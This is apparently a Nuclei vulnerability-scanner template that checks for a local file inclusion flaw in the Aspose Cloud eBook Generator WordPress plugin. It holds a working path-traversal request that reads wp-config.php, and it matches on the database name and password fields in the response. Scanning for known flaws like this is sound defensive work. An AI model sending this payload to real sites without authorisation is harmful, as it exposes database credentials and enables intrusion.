id: aspose-file-download

info:
  name: Wordpress Aspose Cloud eBook Generator - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Wordpress Aspose Cloud eBook Generator is vulnerable to local file inclusion.
  reference:
    - https://wpscan.com/vulnerability/7866
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: aspose,ebook,wpscan,wordpress,wp-plugin,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201061f9a0f7630623e73dd410dffcb9ac7339e46ec1a908e44a9f30cc09da3757022021b65d6a974fe502f53f898b3e0c3650e561b07539c45a1a2371a1f0cbd1ae92:922c64590222798bb761d5b6d8e72950